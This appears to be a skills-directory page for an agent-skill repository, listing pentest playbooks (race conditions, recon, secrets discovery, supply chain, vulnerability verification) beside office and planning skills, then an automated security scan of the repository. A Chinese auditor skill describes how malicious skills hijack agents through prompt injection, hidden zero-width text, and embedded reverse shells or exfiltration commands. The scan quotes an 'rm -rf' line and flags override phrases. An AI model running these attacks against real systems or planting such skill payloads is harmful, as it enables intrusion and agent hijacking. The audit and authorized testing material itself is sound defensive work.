- Prerequisites
- Core Workflow
- Tool Categories
- References
Files
SKILL.mdcore2,685 bytesreferences/tools.mddoc2,072 bytesreferences/workflows.mddoc2,514 bytes
Read SKILL.md
# Pentest Race Conditions
## Purpose
Exploit applications that fail to handle concurrent requests atomically — enabling double-spend, limit bypass, privilege escalation through parallel requests. Absent from standard WSTG categories but critical in real-world assessments.
## Prerequisites
### Authorization Requirements
- **Written authorization** with explicit scope for concurrency testing
- **Test accounts** with balances, quotas, or limited-use resources
- **Rollback plan** for financial or state-mutating operations
- **Rate limit awareness** — confirm acceptable burst volume with target owner
### Environment SetupView the complete source on GitHubpentest-recon-attack-surface
When your agent uses it
White-box attack surface mapping — correlate external scans, browser exploration, and source code into structured endpoint inventory, role architecture, and authorization vulnerability candidates.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
826 tokensWhen the skill is activated
Reference documents
1,945 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- Output Deliverables
- Tool Categories
- References
Files
SKILL.mdcore4,381 bytesSKILL.mdcore4,381 bytesSKILL.mdcore4,381 bytesSKILL.mdcore4,381 bytesSKILL.mdcore4,381 bytesSKILL.mdcore4,381 bytesSKILL.mdcore4,381 bytesreferences/tools.mddoc4,129 bytesreferences/workflows.mddoc4,213 bytes
Read SKILL.md
# Pentest Recon Attack Surface
## Purpose
Perform comprehensive attack surface mapping by correlating three data sources: external network scans, authenticated browser exploration, and source code analysis. Produces a structured endpoint inventory with authorization metadata, role/privilege architecture, and prioritized authorization vulnerability candidates for downstream code review and exploitation.
## Prerequisites
### Authorization Requirements
- **Written authorization** with explicit scope for reconnaissance and source code access
- **Source code access** to the target application (white-box engagement)
- **Test accounts** at every privilege level (anonymous, user, admin, service)
- **Network scan approval** — confirm acceptable scan intensity with target owner
### Environment SetupView the complete source on GitHubpentest-secrets-exposure
When your agent uses it
Discover hardcoded credentials, leaked API keys, exposed configuration files, sensitive data in artifacts, and information disclosure via error handling.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
679 tokensWhen the skill is activated
Reference documents
900 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- WSTG Coverage
- Tool Categories
- References
Files
SKILL.mdcore2,926 bytesSKILL.mdcore2,926 bytesSKILL.mdcore2,926 bytesreferences/tools.mddoc1,822 bytesreferences/workflows.mddoc1,906 bytes
Read SKILL.md
# Pentest Secrets Exposure
## Purpose
Spans multiple unchecked WSTG categories — CONF-03/04 (sensitive files, backups), INFO-05 (info leakage), ERRH-01/02 (error handling, stack traces). Shannon's pre-recon focuses on architecture, not systematic secrets discovery.
## Prerequisites
### Authorization Requirements
- **Written authorization** with source code access scope (if white-box)
- **Git repository access** for history mining (if applicable)
- **Target URL list** for exposed file probing
### Environment Setup
- TruffleHog for git history secret scanningView the complete source on GitHubpentest-supply-chain
When your agent uses it
Software supply chain security — dependency confusion, CI/CD pipeline attacks, lockfile integrity, and build artifact verification.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
530 tokensWhen the skill is activated
Reference documents
1,328 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- Tool Categories
- References
Files
SKILL.mdcore2,501 bytesreferences/tools.mddoc1,834 bytesreferences/workflows.mddoc4,246 bytes
Read SKILL.md
# Pentest Supply Chain
## Purpose
Supply chain attacks (SolarWinds, Log4Shell, xz-utils) are the fastest-growing threat category. Shannon explicitly excludes "vulnerable third-party libraries." MITRE ATT&CK T1195 has zero coverage in any existing skill.
## Prerequisites
### Authorization Requirements
- **Written authorization** with supply chain testing scope
- **Repository access** for dependency and CI/CD analysis
- **Registry awareness** — confirm which private registries are in use
- **Build system access** for pipeline review (if white-box)
### Environment SetupView the complete source on GitHubpentest-vuln-verify-test
When your agent uses it
通过原始 HTTP 请求操作和严格验证自动验证 Web 漏洞(开放重定向、XSS)。
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
237 tokensWhen the skill is activated
Reference documents
644 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 描述
- 核心能力
- 参考工作流
- 工具
Scripts executed separately
scan_demo.shverify.sh
Files
SKILL.mdcore869 bytesreferences/tools.mddoc336 bytesreferences/workflows.mddoc1,802 bytesscan_demo.shruns1,970 bytesverify.shruns2,766 bytes
Read SKILL.md
# 漏洞验证自动化
## 描述
此技能专注于通过操作原始 HTTP 请求来自动验证 Web 漏洞(特别是开放重定向和 XSS)。它处理会话上下文切换(Cookie 替换)和严格的成功标准验证。
## 核心能力
- 原始 HTTP 请求解析与重构
- 认证会话操作(Cookie 交换)
- 自动 Payload 投递
- 响应模式匹配(Meta Refresh / HTTP 30x)
## 参考工作流
- [验证逻辑与流程](references/workflows.md#verification-logic)
- [成功标准定义](references/workflows.md#success-criteria)View the complete source on GitHubpentest-whitebox-code-review
When your agent uses it
Source code security audit using backward taint analysis, slot type classification, render context verification, and 3-phase parallel review producing an exploitation queue.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,011 tokensWhen the skill is activated
Reference documents
2,039 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- Slot Type Classification
- Render Context Classification
- Tool Categories
- References
Files
SKILL.mdcore5,114 bytesSKILL.mdcore5,114 bytesSKILL.mdcore5,114 bytesSKILL.mdcore5,114 bytesSKILL.mdcore5,114 bytesreferences/tools.mddoc2,571 bytesreferences/workflows.mddoc5,946 bytes
Read SKILL.md
# Pentest Whitebox Code Review
## Purpose
Perform systematic white-box source code security audit using Shannon's backward taint analysis methodology. Traces from dangerous sinks back to user-controlled sources, classifies injection contexts by slot type, verifies XSS render contexts, and produces a prioritized exploitation queue for downstream proof-driven exploitation.
## Prerequisites
### Authorization Requirements
- **Written authorization** with explicit scope for source code review
- **Source code access** — full repository with version control history
- **Architecture documentation** if available (data flow diagrams, API specs)
- **Deployment configuration** access (environment variables, secrets management)
### Environment SetupView the complete source on GitHubplanning-with-files
When your agent uses it
Implements Manus-style file-based planning for complex tasks. Creates task_plan.md, findings.md, and progress.md. Use when starting complex multi-step tasks, research projects, or any task requiring >5 tool calls. Now with automatic session recovery after /clear.
What it loads into context
Frontmatter
373 tokensAlways available to the agent
SKILL.md
1,721 tokensWhen the skill is activated
Reference documents
5,499 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- FIRST: Check for Previous Session (v2.2.0)
- Important: Where Files Go
- Quick Start
- The Core Pattern
- File Purposes
- Critical Rules
- The 3-Strike Error Protocol
- Read vs Write Decision Matrix
- The 5-Question Reboot Test
- When to Use This Pattern
- Templates
- Scripts
- Advanced Topics
- Anti-Patterns
Scripts executed separately
scripts/check-complete.ps1scripts/check-complete.shscripts/init-session.ps1scripts/init-session.shscripts/session-catchup.py
Files
SKILL.mdcore7,087 bytesSKILL.mdcore7,087 bytesSKILL.mdcore7,087 bytesSKILL.mdcore7,087 bytesexamples.mddoc4,426 bytesreference.mddoc8,066 bytesscripts/check-complete.ps1runs1,192 bytesscripts/check-complete.shruns1,160 bytesscripts/init-session.ps1runs2,431 bytesscripts/init-session.shruns2,254 bytesscripts/session-catchup.pyruns7,461 bytestemplates/findings.mddoc3,553 bytestemplates/progress.mddoc3,987 bytestemplates/task_plan.mddoc4,598 bytes
Read SKILL.md
# Planning with Files
Work like Manus: Use persistent markdown files as your "working memory on disk."
## FIRST: Check for Previous Session (v2.2.0)
**Before starting work**, check for unsynced context from a previous session:
```bash
python3 ${CLAUDE_PLUGIN_ROOT}/scripts/session-catchup.py "$(pwd)"
```
If catchup report shows unsynced context:
1. Run `git diff --stat` to see actual code changesView the complete source on GitHubpptx
When your agent uses it
Presentation creation, editing, and analysis. When Claude needs to work with presentations (.pptx files) for: (1) Creating new presentations, (2) Modifying or editing content, (3) Working with layouts, (4) Adding comments or speaker notes, or any other presentation tasks
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
6,252 tokensWhen the skill is activated
Reference documents
9,430 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Reading and analyzing content
- Creating a new PowerPoint presentation **without a template**
- Editing an existing PowerPoint presentation
- Creating a new PowerPoint presentation **using a template**
- Creating Thumbnail Grids
- Converting Slides to Images
- Code Style Guidelines
- Dependencies
Scripts executed separately
ooxml/scripts/pack.pyooxml/scripts/unpack.pyooxml/scripts/validate.pyooxml/scripts/validation/__init__.pyooxml/scripts/validation/base.pyooxml/scripts/validation/docx.pyooxml/scripts/validation/pptx.pyooxml/scripts/validation/redlining.pyscripts/html2pptx.jsscripts/inventory.pyscripts/rearrange.pyscripts/replace.pyscripts/thumbnail.py
Files
LICENSE.txtdoc1,467 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 bytesSKILL.mdcore25,552 byteshtml2pptx.mddoc19,860 bytesooxml.mddoc10,388 bytesooxml/schemas/ISO-IEC29500-4_2016/dml-chart.xsdasset74,984 bytesooxml/schemas/ISO-IEC29500-4_2016/dml-chartDrawing.xsdasset6,956 bytesooxml/schemas/ISO-IEC29500-4_2016/dml-diagram.xsdasset51,302 bytesooxml/schemas/ISO-IEC29500-4_2016/dml-lockedCanvas.xsdasset624 bytesooxml/schemas/ISO-IEC29500-4_2016/dml-main.xsdasset152,039 bytesooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsdasset1,231 bytesooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsdasset8,862 bytesooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsdasset14,795 bytesooxml/schemas/ISO-IEC29500-4_2016/pml.xsdasset83,612 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-additionalCharacteristics.xsdasset1,269 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-bibliography.xsdasset7,328 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-commonSimpleTypes.xsdasset6,382 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlDataProperties.xsdasset1,248 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-customXmlSchemaProperties.xsdasset880 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesCustom.xsdasset2,608 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesExtended.xsdasset3,507 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-documentPropertiesVariantTypes.xsdasset7,507 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-math.xsdasset23,313 bytesooxml/schemas/ISO-IEC29500-4_2016/shared-relationshipReference.xsdasset1,367 bytesooxml/schemas/ISO-IEC29500-4_2016/sml.xsdasset242,276 bytesooxml/schemas/ISO-IEC29500-4_2016/vml-main.xsdasset26,148 bytesooxml/schemas/ISO-IEC29500-4_2016/vml-officeDrawing.xsdasset25,279 bytesooxml/schemas/ISO-IEC29500-4_2016/vml-presentationDrawing.xsdasset535 bytesooxml/schemas/ISO-IEC29500-4_2016/vml-spreadsheetDrawing.xsdasset5,712 bytesooxml/schemas/ISO-IEC29500-4_2016/vml-wordprocessingDrawing.xsdasset4,010 bytesooxml/schemas/ISO-IEC29500-4_2016/wml.xsdasset171,367 bytesooxml/schemas/ISO-IEC29500-4_2016/xml.xsdasset4,638 bytesooxml/schemas/ecma/fouth-edition/opc-contentTypes.xsdasset1,963 bytesooxml/schemas/ecma/fouth-edition/opc-coreProperties.xsdasset2,515 bytesooxml/schemas/ecma/fouth-edition/opc-digSig.xsdasset2,856 bytesooxml/schemas/ecma/fouth-edition/opc-relationships.xsdasset1,344 bytesooxml/schemas/mce/mc.xsdasset3,127 bytesooxml/schemas/microsoft/wml-2010.xsdasset26,549 bytesooxml/schemas/microsoft/wml-2012.xsdasset3,745 bytesooxml/schemas/microsoft/wml-2018.xsdasset901 bytesooxml/schemas/microsoft/wml-cex-2018.xsdasset1,778 bytesooxml/schemas/microsoft/wml-cid-2016.xsdasset1,002 bytesooxml/schemas/microsoft/wml-sdtdatahash-2020.xsdasset600 bytesooxml/schemas/microsoft/wml-symex-2015.xsdasset745 bytesooxml/scripts/pack.pyruns5,596 bytesooxml/scripts/unpack.pyruns1,037 bytesooxml/scripts/validate.pyruns1,959 bytesooxml/scripts/validation/__init__.pyruns336 bytesooxml/scripts/validation/base.pyruns39,892 bytesooxml/scripts/validation/docx.pyruns9,996 bytesooxml/scripts/validation/pptx.pyruns12,327 bytesooxml/scripts/validation/redlining.pyruns11,179 bytesscripts/html2pptx.jsruns37,796 bytesscripts/inventory.pyruns38,126 bytesscripts/rearrange.pyruns8,514 bytesscripts/replace.pyruns13,594 bytesscripts/thumbnail.pyruns15,484 bytes
Read SKILL.md
# PPTX creation, editing, and analysis
## Overview
A user may ask you to create, edit, or analyze the contents of a .pptx file. A .pptx file is essentially a ZIP archive containing XML files and other resources that you can read or edit. You have different tools and workflows available for different tasks.
## Reading and analyzing content
### Text extraction
If you just need to read the text contents of a presentation, you should convert the document to markdown:
```bash
# Convert document to markdown
python -m markitdown path-to-file.pptxView the complete source on GitHubskill-creator
When your agent uses it
Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends an agent's capabilities with specialized knowledge, workflows, or tool integrations.
What it loads into context
Frontmatter
57 tokensAlways available to the agent
SKILL.md
3,657 tokensWhen the skill is activated
Reference documents
536 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- About Skills
- Core Principles
- Skill Creation Process
Scripts executed separately
scripts/init_skill.pyscripts/package_skill.pyscripts/quick_validate.py
Files
LICENSE.txtdoc11,358 bytesSKILL.mdcore17,682 bytesreferences/output-patterns.mddoc1,813 bytesreferences/workflows.mddoc819 bytesscripts/init_skill.pyruns11,230 bytesscripts/package_skill.pyruns3,288 bytesscripts/quick_validate.pyruns3,343 bytes
Read SKILL.md
# Skill Creator
This skill provides guidance for creating effective skills.
## About Skills
Skills are modular, self-contained packages that extend Claude's capabilities by providing
specialized knowledge, workflows, and tools. Think of them as "onboarding guides" for specific
domains or tasks—they transform Claude from a general-purpose agent into a specialized agent
equipped with procedural knowledge that no model can fully possess.
### What Skills Provide
1. Specialized workflows - Multi-step procedures for specific domainsView the complete source on GitHubskill-security-auditor
When your agent uses it
OpenClaw Skills 全方位安全审计工具,检测供应链投毒、Prompt注入、恶意代码模式、权限越权和依赖风险
What it loads into context
Frontmatter
100 tokensAlways available to the agent
SKILL.md
2,433 tokensWhen the skill is activated
Reference documents
3,036 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Core Workflow
- 审计检查项
- 审计报告格式
- 与其他安全技能的协作
- Tool Categories
- References
Files
SKILL.mdcore8,579 bytesreferences/tools.mddoc6,414 bytesreferences/workflows.mddoc7,185 bytes
Read SKILL.md
# Skill Security Auditor
基于《OpenClaw 极简安全实践指南》和《安全验证与攻防演练手册》的 Skill 安全审计工具。对 OpenClaw Skill 进行从源码到运行时的全生命周期安全审查,覆盖供应链投毒、Prompt 注入载荷、恶意代码模式、权限越权等威胁向量。
## Purpose
OpenClaw Skills 是 Agent 能力的扩展机制,通过 `/workspace/skills/{skill_name}/SKILL.md` 被 Agent 加载执行。恶意 Skill 可以:
- 通过 Prompt 注入劫持 Agent 行为
- 在代码块中嵌入反弹 Shell、数据外传命令
- 引用恶意外部依赖进行供应链攻击
- 通过 Unicode 混淆、零宽字符隐藏恶意指令
本技能为 Skill 的安装和更新提供安全门禁,在 Skill 进入生产环境前完成安全审查。
View the complete source on GitHubwriting-plans
When your agent uses it
Use when you have a spec or requirements for a multi-step task, before touching code
What it loads into context
Frontmatter
25 tokensAlways available to the agent
SKILL.md
793 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Bite-Sized Task Granularity
- Plan Document Header
- Task Structure
Files
SKILL.mdcore3,264 bytesSKILL.mdcore3,264 bytesSKILL.mdcore3,264 bytesSKILL.mdcore3,264 bytes
Read SKILL.md
# Writing Plans
## Overview
Write comprehensive implementation plans assuming the engineer has zero context for our codebase and questionable taste. Document everything they need to know: which files to touch for each task, code, testing, docs they might need to check, how to test it. Give them the whole plan as bite-sized tasks. DRY. YAGNI. TDD. Frequent commits.
Assume they are a skilled developer, but know almost nothing about our toolset or problem domain. Assume they don't know good test design very well.
**Announce at start:** "I'm using the writing-plans skill to create the implementation plan."
**Context:** This should be run in a dedicated worktree (created by brainstorming skill).
**Save plans to:** `docs/plans/YYYY-MM-DD-<feature-name>.md`
View the complete source on GitHubxlsx
When your agent uses it
Comprehensive spreadsheet creation, editing, and analysis with support for formulas, formatting, data analysis, and visualization. When Claude needs to work with spreadsheets (.xlsx, .xlsm, .csv, .tsv, etc) for: (1) Creating new spreadsheets with formulas and formatting, (2) Reading or analyzing data, (3) Modify existing spreadsheets while preserving formulas, (4) Data analysis and visualization in spreadsheets, or (5) Recalculating formulas
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
2,666 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- All Excel files
- Financial models
- Overview
- Important Requirements
- Reading and analyzing data
- Excel File Workflows
- CRITICAL: Use Formulas, Not Hardcoded Values
- Common Workflow
- Recalculating formulas
- Formula Verification Checklist
- Best Practices
- Code Style Guidelines
Scripts executed separately
recalc.py
Files
LICENSE.txtdoc1,467 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesSKILL.mdcore10,631 bytesrecalc.pyruns6,264 bytes
Read SKILL.md
# Requirements for Outputs
## All Excel files
### Zero Formula Errors
- Every Excel model MUST be delivered with ZERO formula errors (#REF!, #DIV/0!, #VALUE!, #N/A, #NAME?)
### Preserve Existing Templates (when updating templates)
- Study and EXACTLY match existing format, style, and conventions when modifying files
- Never impose standardized formatting on files with established patterns
- Existing template conventions ALWAYS override these guidelines
## Financial models
View the complete source on GitHubSkills included
- brainstorming
- executing-plans
- openclaw-security-checker
- openclaw-threat-detect
- pentest-ai-llm-security
- pentest-api-deep
- pentest-business-logic
- pentest-client-advanced
- pentest-cloud-infrastructure
- pentest-config-hardening
- pentest-ctf-binary
- pentest-ctf-crypto
- pentest-ctf-forensics
- seclens-enterprise-web
- pentest-exploit-validation
- pentest-http-smuggling
- pentest-mobile-app
- pentest-network-internal
- pentest-osint-recon
- pentest-race-conditions
- pentest-recon-attack-surface
- pentest-secrets-exposure
- pentest-supply-chain
- pentest-vuln-verify-test
- pentest-whitebox-code-review
- planning-with-files
- pptx
- skill-creator
- skill-security-auditor
- writing-plans
- xlsx
Repository facts
- License
- Apache-2.0
- Created
- Jan 13, 2026
- Last pushed
- Oct 20, 2026
- Forks
- 56
- Open issues
- 17
- Project activity
- Active
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 6, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 62 notes
backend/app/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedbackend/app/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedbackend/app/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedbackend/app/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/openclaw-security-checker/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedskills/pdf/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- 1 broad permissionin 1 file: planning-with-files/SKILL.md:1
- 42 dangerous shell commandsin 18 files: pentest-enterprise-web/Dockerfile:27 openclaw-threat-detect/references/workflows.md:15 app/core/agent/code_agent/executor/backend_executor.py:162 and 15 more
- 626 network referencesin 97 files: pptx/ooxml/scripts/validation/base.py:70 pptx/ooxml/schemas/ISO-IEC29500-4_2016/wml.xsd:1 pptx/ooxml/schemas/ISO-IEC29500-4_2016/xml.xsd:1 and 94 more
- 10 obfuscation signalsin 3 files: app/api/v1/files.py:146 app/utils/media.py:88 app/utils/mcp.py:192
- 15 instruction override signalsin 4 files: skill-security-auditor/SKILL.md:67 openclaw-threat-detect/SKILL.md:101 pentest-ai-llm-security/references/workflows.md:14 and 1 more
- 368 executable scriptsin 368 files: app/__init__.py:1 app/api/__init__.py:1 app/api/schemas.py:1 and 365 more
- 212 references to secretsin 48 files: app/core/model/providers/PROVIDERS.md:63 app/core/oauth/protocols/oauth2.py:5 app/services/oauth_service.py:191 and 45 more
- No requests to vote in Hot
Show all 1,274 signals by file
backend/app/MODEL.md
- Access to secretsline 181
[Credential-related source omitted]
backend/app/__init__.py
- Executable scriptline 1
Executable file
backend/app/api/__init__.py
- Executable scriptline 1
Executable file
backend/app/api/schemas.py
- Executable scriptline 1
Executable file
backend/app/api/v1/MODEL.md
- Access to secretsline 79
[Credential-related source omitted]
backend/app/api/v1/__init__.py
- Executable scriptline 1
Executable file
backend/app/api/v1/artifacts.py
- Executable scriptline 1
Executable file
backend/app/api/v1/auth.py
- Executable scriptline 1
Executable file - Access to secretsline 17
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 373
[Credential-related source omitted] - Access to secretsline 403
[Credential-related source omitted] - Access to secretsline 411
[Credential-related source omitted] - Access to secretsline 424
[Credential-related source omitted]
backend/app/api/v1/chat.py
- Executable scriptline 1
Executable file
backend/app/api/v1/conversations.py
- Executable scriptline 1
Executable file
backend/app/api/v1/custom_tools.py
- Executable scriptline 1
Executable file
backend/app/api/v1/environment.py
- Executable scriptline 1
Executable file
backend/app/api/v1/files.py
- Executable scriptline 1
Executable file - Possible obfuscationline 146
".7z": [b"7z\xbc\xaf\x27\x1c"], - Possible obfuscationline 148
".doc": [b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1"], - Possible obfuscationline 150
".xls": [b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1"], - Possible obfuscationline 152
".ppt": [b"\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1"], - Dangerous shell operationline 440
await asyncio.to_thread(handle.adapter.execute, f"rm -rf {CONTAINER_UPLOADS_PATH}/*")
backend/app/api/v1/graph_code.py
- Executable scriptline 1
Executable file
backend/app/api/v1/graph_deployments.py
- Executable scriptline 1
Executable file
backend/app/api/v1/graphs.py
- Executable scriptline 1
Executable file
backend/app/api/v1/mcp.py
- Executable scriptline 1
Executable file
backend/app/api/v1/memory/__init__.py
- Executable scriptline 1
Executable file
backend/app/api/v1/memory/memory.py
- Executable scriptline 1
Executable file
backend/app/api/v1/memory/schemas.py
- Executable scriptline 1
Executable file
backend/app/api/v1/model_credentials.py
- Executable scriptline 1
Executable file
backend/app/api/v1/model_providers.py
- Executable scriptline 1
Executable file
backend/app/api/v1/model_usage.py
- Executable scriptline 1
Executable file
backend/app/api/v1/models.py
- Executable scriptline 1
Executable file
backend/app/api/v1/oauth.py
- Executable scriptline 1
Executable file - Access to secretsline 29
[Credential-related source omitted] - Access to secretsline 213
[Credential-related source omitted] - Access to secretsline 227
[Credential-related source omitted] - Access to secretsline 386
[Credential-related source omitted] - Access to secretsline 409
[Credential-related source omitted]
backend/app/api/v1/openapi_graph.py
- Executable scriptline 1
Executable file
backend/app/api/v1/openclaw_chat.py
- Executable scriptline 1
Executable file - Network accessline 72
) else: async with httpx.AsyncClient(timeout=300) as client: - Network accessline 73
else: async with httpx.AsyncClient(timeout=300) as client: resp = await client.post(url, json=body, headers=headers) - Network accessline 74
async with httpx.AsyncClient(timeout=300) as client: - Network accessline 82
try: async with httpx.AsyncClient(timeout=300) as client: - Network accessline 83
async with httpx.AsyncClient(timeout=300) as client: - Network accessline 110
async with httpx.AsyncClient(timeout=120) as client:
backend/app/api/v1/openclaw_devices.py
- Executable scriptline 1
Executable file
backend/app/api/v1/openclaw_instances.py
- Executable scriptline 1
Executable file
backend/app/api/v1/openclaw_proxy.py
backend/app/api/v1/organizations.py
- Executable scriptline 1
Executable file
backend/app/api/v1/runs.py
- Executable scriptline 1
Executable file
backend/app/api/v1/sandboxes.py
- Executable scriptline 1
Executable file
backend/app/api/v1/sessions.py
- Executable scriptline 1
Executable file
backend/app/api/v1/skill_collaborators.py
- Executable scriptline 1
Executable file
backend/app/api/v1/skill_versions.py
- Executable scriptline 1
Executable file
backend/app/api/v1/skills.py
- Executable scriptline 1
Executable file
backend/app/api/v1/tokens.py
- Executable scriptline 1
Executable file
backend/app/api/v1/tools.py
- Executable scriptline 1
Executable file
backend/app/api/v1/traces.py
- Executable scriptline 1
Executable file
backend/app/api/v1/users.py
- Executable scriptline 1
Executable file
backend/app/api/v1/version.py
backend/app/api/v1/workspace_files.py
- Executable scriptline 1
Executable file
backend/app/api/v1/workspace_folders.py
- Executable scriptline 1
Executable file
backend/app/api/v1/workspaces.py
- Executable scriptline 1
Executable file
backend/app/common/auth_dependency.py
- Executable scriptline 1
Executable file
backend/app/common/cookie_auth.py
backend/app/common/dependencies.py
- Executable scriptline 1
Executable file
backend/app/common/exceptions.py
- Executable scriptline 1
Executable file
backend/app/common/logging.py
- Executable scriptline 1
Executable file
backend/app/common/pagination.py
- Executable scriptline 1
Executable file
backend/app/common/permissions.py
- Executable scriptline 1
Executable file
backend/app/common/response.py
- Executable scriptline 1
Executable file
backend/app/common/skill_permissions.py
- Executable scriptline 1
Executable file
backend/app/core/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/a2a/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/a2a/client.py
- Executable scriptline 1
Executable file - Network accessline 3
Reference: https://google.github.io/A2A/specification/ - Network accessline 4
Example: https://raw.githubusercontent.com/langchain-samples/A2A-google-adk/refs/heads/main/test_agent_conversation.py - Network accessline 67
if pool_key not in _client_pool: _client_pool[pool_key] = httpx.AsyncClient( - Network accessline 68
_client_pool[pool_key] = httpx.AsyncClient( - Network accessline 69
timeout=httpx.Timeout( - Network accessline 73
pool=config.connect_timeout, ), limits=httpx.Limits( - Network accessline 74
), limits=httpx.Limits( max_connections=config.max_connections, - Network accessline 75
limits=httpx.Limits(
backend/app/core/agent/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/artifacts/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/artifacts/collector.py
- Executable scriptline 1
Executable file
backend/app/core/agent/artifacts/resolver.py
- Executable scriptline 1
Executable file
backend/app/core/agent/backends/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/backends/constants.py
- Executable scriptline 1
Executable file
backend/app/core/agent/backends/docker_check.py
backend/app/core/agent/backends/file_tracking_proxy.py
- Executable scriptline 1
Executable file
backend/app/core/agent/backends/filesystem_sandbox.py
- Executable scriptline 1
Executable file
backend/app/core/agent/backends/pydantic_adapter.py
backend/app/core/agent/backends/runtime_config.py
- Executable scriptline 1
Executable file
backend/app/core/agent/backends/state_sandbox.py
- Executable scriptline 1
Executable file
backend/app/core/agent/backends/utils/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/backends/utils/command_executor.py
- Executable scriptline 1
Executable file
backend/app/core/agent/checkpointer/checkpointer.py
backend/app/core/agent/code_agent/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/code_agent/agent.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/data_analysis.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/executor/__init__.py
- Executable scriptline 1
Executable file
backend/app/core/agent/code_agent/executor/backend_executor.py
backend/app/core/agent/code_agent/executor/base.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/executor/docker_executor.py
backend/app/core/agent/code_agent/executor/local_executor.py
- Executable scriptline 1
#!/usr/bin/env python
backend/app/core/agent/code_agent/executor/router.py
